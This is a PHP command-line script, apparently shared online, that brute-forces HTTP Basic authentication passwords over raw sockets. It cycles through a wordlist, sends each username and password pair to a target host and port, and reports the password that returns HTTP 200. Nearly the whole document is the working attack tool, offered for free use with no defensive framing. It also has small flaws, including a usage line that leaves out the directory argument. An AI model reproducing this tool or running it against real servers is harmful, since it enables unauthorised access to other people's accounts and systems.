Basic auth password craker (sockets)

<?php 
 
/*
 
 * Mofms password cracker used to crack basic auth passwords
 * Enjoy Edit distribute as you please ... but its polite to leave my name in it. :). 
 
 * Mofm
 
 * usage: crack.php <password file> <username> <pasue per attempt> <interval> <target> <port>
 
*/
 
 
 
function sendrequest($site,$password,$username,$socket,$dir)
 
{
 
 
 
	$data = "HEAD /$dir HTTP/1.1\r\n";
 
	$data .= "Host: $site\r\n";
 
	$data .= "Authorization: Basic ".base64_encode("$username:$password")."\r\n\r\n";
 
	$reply = '';
 
	socket_write($socket, $data, strlen($data));
 
	$reply = socket_read($socket, 2048);
 
 
 
	switch(substr($reply,9,3))
 
	{
 
	case 401:
 
	return 0;
 
	break;
 
	case 200:
 
	return 1;
 
	break;
 
	default;
 
	}	
 
}
 
 
 
function close($socket)
 
{
 
	socket_close($socket);
 
 
 
}
 
$file =$argv[1];
 
$uname=$argv[2];
 
$sleep=$argv[3];
 
$interval=$argv[4];
 
$site=$argv[5];
 
$port=$argv[6];
 
$dir=$argv[7];
 
$fpfile= @fopen($file, 'r');
 
$inttest=0;
 
$counter=0;
 
if ($fpfile)
 
{
 
 
 
 
 
 
 
	while(!feof($fpfile))
 
	{
 
		$address = gethostbyname($site);
 
		$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
 
		$result = socket_connect($socket, $address, $port);
 
		$pass=trim(fgets($fpfile)); //password from file
 
		if ($result==0)
 
		{
 
			exit("Connection Error/n/r");
 
		}
 
		if (sendrequest($site,$pass,$uname,$socket,$dir)==1) //see if we loged in
 
		{
 
			echo "!!Password Found!!\n\r"; //display password
 
			echo "[$counter]$pass\n\r";
 
			close($socket);
 
			exit();
 
		}
 
		if ($inttest == $interval)
 
		{
 
		echo "Trying[$counter]:$uname:$pass\n";
 
		$inttest=0;
 
		}
 
		sleep($sleep); //time bettween attacks	
 
		$inttest++;
 
		$counter++;
 
		close($socket);
 
 
 
	}
 
 
 
	echo "Password was not in wordlist sorry \n";
 
	close($socket);
 
	exit();
 
}else
 
{
 
echo "Error opening password file:$file.\n";
 
exit();
 
}
 
?>